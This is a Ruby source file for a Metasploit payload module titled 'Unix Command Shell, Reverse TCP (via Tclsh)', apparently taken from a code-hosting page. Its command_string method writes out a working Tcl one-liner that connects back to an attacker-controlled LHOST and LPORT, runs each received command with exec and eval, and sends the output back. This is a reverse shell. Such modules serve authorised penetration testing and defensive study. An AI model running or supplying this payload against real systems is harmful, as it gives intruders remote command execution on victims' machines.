53 lines
1.4 KiB
Ruby
53 lines
1.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 184
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(
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merge_info(
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info,
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'Name' => 'Unix Command Shell, Reverse TCP (via Tclsh)',
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'Description' => 'Creates an interactive shell via Tclsh',
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'Author' => ['bcoles'],
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'tclsh',
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'Payload' => {
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'Offsets' => {},
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'Payload' => ''
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}
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)
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)
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register_advanced_options(
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[
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OptString.new('TCLSHPath', [true, 'The path to the TCLSH executable', 'tclsh'])
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]
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)
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end
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#
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# Constructs the payload
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#
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def generate(_opts = {})
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super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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%(echo 'set s [socket #{datastore['LHOST']} #{datastore['LPORT']}];set c "";while {$c != "exit"} {flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} {puts $s $r};flush $s;};close $s;'|#{datastore['TCLSHPath']})
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end
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end
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